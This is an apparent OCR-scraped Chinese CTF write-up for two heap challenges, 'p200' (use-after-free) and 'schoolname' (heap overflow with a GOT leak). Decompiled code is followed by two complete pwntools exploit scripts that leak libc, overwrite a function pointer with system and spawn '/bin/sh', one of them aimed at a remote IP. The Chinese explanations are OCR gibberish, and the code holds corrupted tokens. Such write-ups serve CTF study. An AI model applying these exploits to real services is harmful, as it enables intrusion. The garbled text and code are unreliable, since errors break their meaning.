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wp
0x00 p200
S th TRRFRBIEIESEH

SR B, fefreedEBHER BB =1RE, ERESHERE, FEBEF PSS T system(/bin/sh'), 7] LRI F uaf

}f (v24 == 3)

vid = v3[2];

*v3 off_602D58;

if (vida 1= (v3 + 4) )
operator delete(vi4) ;

operator delete(v3);

vi5 = v5[2];

*y5 off_602D58;

if (v15 1= (v5 + 4) )
operator delete(v15) ;

operator delete(v5) ;

v/ = 6LL;

v8 = "Freed. ";

antn | ARFI R-
AR

1.5%free, F Afreelt (&2 W, 25 2freefsiptr + 4 X B

2.9 )5 F B BIX Hptr +ARIHEIAE BT e 1kE i free I W 1 B4
3.ffree, ML AT LAEEEH TonHE S free

4. HHERI Tomp R 4 RS H4E, ikTomHEd B Kfunctionds £ {E k8


https://blog.csdn.net/weixin_30348519
https://so.csdn.net/so/search/s.do?q=git&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E7%25BB%2593%25E6%259E%2584%25E4%25B8%258E%25E7%25AE%2597%25E6%25B3%2595&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/elvirangel/p/7786600.html

5347 1.use BB H 522 $47 system('/bin/sh')
=

from pwn import*

# context.log_level = 'debug'’
# p = process('./p200")

addr = 0x0000000000602D70
addr2 = 0x602D58

p = remote('106.75.8.58"',12333)

.recvuntil('1. use, 2. after, 3. free\n')
.sendline('3")

T T

.recvuntil('1. use, 2. after, 3. free\n')
.sendline('2")

.recvuntil('Please input the length:\n')
.sendline(str(32))
.sendline(p64(addr2).1ljust(32, '\x00"'))

T T T T T

.recvuntil('1l. use, 2. after, 3. free\n')
.sendline('2")

.recvuntil('Please input the length:\n')
.sendline(str(32))
.sendline(p64(addr2).1ljust(32, '\x00'))

T T ©T T T

.recvuntil('1l. use, 2. after, 3. free\n')
.sendline('3")

T T

.recvuntil('1l. use, 2. after, 3. free\n')
.sendline('2")

.recvuntil('Please input the length:\n')
.sendline(str(0x30))
.sendline(p64(addr).ljust(0x30, '\x00'))

T T ©T T T

.recvuntil('1. use, 2. after, 3. free\n')
.sendline('2")

.recvuntil('Please input the length:\n')
.sendline(str(ex30))
.sendline(p64(addr).ljust(0x30, '\x00'))

T T ©T T T

.recvuntil('1. use, 2. after, 3. free\n')
.sendline('1")

T T

p.interactive()

View Code
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schoolname 3

schoolname

BEFItiE
1.0 T V2 BENLR/NRIHESR, SCRENURER T Horh — SR, &R G B SR AR AN E S
2.4 T —/MhEdLcookie, 7E 2 J K 3 Th BE H PR HE A A7 AU E 2 T S

signed int i; // lrsptUhl Lrbp—10Uh]
int j; // [rsptOh] [rbp—10h]
int k; // [rsptOh] [rbp-10h]
int v6: // [rsp+4h] [rbp—Ch]
int v7; // [rsp+8h] [rbp—8h]
int v8; // [rsp+Ch] [rbp—4h]

setbuf (stdin, OLL);

setbuf (stdout, OLL):

v0 = time (OLL) ;

srand (v0) :

for (1 =0; i <= 4095; ++i )
member_ptr_607040[i] = OLL;

cookle = rand()

VO = ran + 50;

v7 = rand() % vob;

‘EOI'(J=UZJ<V0;++JJ

vl = rand() ;
} ptr[i] = malloc(vl % 199 + 1);

Eor (k=0; ; ++k )

result = k;

if (k>=v7)
break;

v8 = rand() % vob;

1T L ptrivel )

free (ptr[v8]);
. ptr[v8] = OLL;
I
}
return result;

}
RO

FEedit i Hrh BATT LAEHT FMnamelsk b 5 AMER TR, WTUAA, BRZHETHEREIERE —AHESR, BATSHA L
BB ZJEHHERAE




_inté4  fastcall sub 401038 (int at)
{
signed int v2; // [rspt14h] [rbp-8Ch]
__intéd v3; // [rsp+18h] [rbp-88h]
char nptr; // [rsp+20h] [rbp-80h] )
unsigned __ inté4 v5:; // [rsp+98h] [rbp-8h]

v5 = _ readfsqword (0x28u) ;

v3 = *(member_ptr_607040[a1] + 1);
while (1)

{

buts("please input the Tength of new name™);
read_buf (&nptr, 100) ;
2 = atoi (&nptr);
if ((v2 <= 4096 && v2 > 0 )
L. Lo

o a

puts(”el"ror, namelen must between 1 and 4096, please reinput”);

puts( please Input new name’);
read_buf (v3, v2);

) ;
*(member ptr 607040[a1] + 4) = v2;
return OLL;

LZPUR 7S
1EHIE — BB MR, BUAT CARIEHE B 4L

2.cookie R o6 /2 1 Mk i im S, i bt AT T LAE &, WB BT LAE RS, RATAI Ak E bt + W& = WEF
B4R cookie , Mg cookie.

A A

1.1t #Eatoi_addribht, 5 Hsystem addr
2.7EbssB 5 A/bin/sh

3. % person_function_ptr#& % Asystem addr,name_ptr7& i bss
4. Aintroducemi i (S£Pr_E & system('/bin/sh'))

ARBXKERKIHA, orz:

HE

#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'

def add(1Name, name, 1lSname, sname, tutor='no'):
p.sendlineafter("option:", '1')
.sendlineafter("name", str(1lName))
.sendlineafter("name", name)
.sendlineafter("schoolname", str(lSname))
.sendlineafter("school name", sname)
.sendlineafter(")", tutor)

T T T T T

def remove(ID):
p.sendlineafter("option:", '2")
p.sendlineafter("delete", str(ID))

def edit(ID, length, context, flag):
p.sendlineafter("option:", '3")
p.sendlineafter("edit", str(ID))
if flag == @:
p.sendlineafter("option:", '1")
p.sendlineafter("name", str(length))
p.sendlineafter("name", context)

PR, R



eLse:
p.sendlineafter("option:", '2")
p.sendlineafter("schoolname", str(length))
p.sendlineafter("schoolname", context)

def show(ID):
p.sendlineafter("option:", '4")
p.sendlineafter("intro", str(ID))

#p = process("./heap", env={"LD_PRELOAD":"/home/al3x/libc.so0.6"})
#p = remote('106.75.8.58"', 23238)
p = process("./heap")

for i in range(120):
add(0x29, 'aaaa', 0x29, 'bbbb')

atoi_got = Ox602FES8

bss_addr = 0x60F000

add(0x29, 'aaaa', Ox29, 'bbbb') # heap 120
add(0x29, 'aaaa', Ox29, 'bbbb') # heap 121
add(0x29, 'aaaa', Ox29, 'bbbb') # heap 122
add(0x29, 'aaaa', 0Ox29, 'bbbb') # heap 123
add(0x29, 'aaaa', Ox29, 'bbbb') # heap 124

payload = 'a'*0x30 #padding

payload += 'a'*8 + p64(0x41) #tprev_size & size

payload += p64(0x79) #id

payload += p64(atoi_got) #name_chunck_ptr

payload += '\x57\xC0' #name_chunck_size & cookies_off

edit(120, ox55, payload, 1)

show(121)

p.recvuntil("name is ")

atoi_addr = u64(p.recv(6).ljust(8, '\x00'))
system_addr = atoi_addr - Ox36E80 + 0x45390

payload = 'a'*0x30

payload += 'a'*8 + p64(0x41)
payload += p64(@x7a)

payload += p64(bss_addr)
payload +='\x3f'

edit(121, ox55, payload, 1)
edit(122, ox10, '/bin/sh', )

payload = 'a'*0x30

payload += 'a'*8 + p64(0x41)
payload += p64(@x7c)
payload += p64(bss_addr)
payload += p64(@x3f)
payload += p64(system_addr)
payload += p64(bss_addr)
payload += '\x3f'

edit(123, oxé6d, payload, 1)
#raw_input()

show(124)

p.interactive()

View Code



0x02 list

X EH K EREXTR, AWERESR, &/5ikig4rfEmatoi_got AR /E it #Eatoi_addr, iH&system addr,fR /5
&iatoi_gotHsystem.

R OERAEBE. o o o ANIZEKANIEREgOtIIEE, , TR EHEKgot...

3 F https://www.cnblogs.com/elvirangel/p/7786600.html
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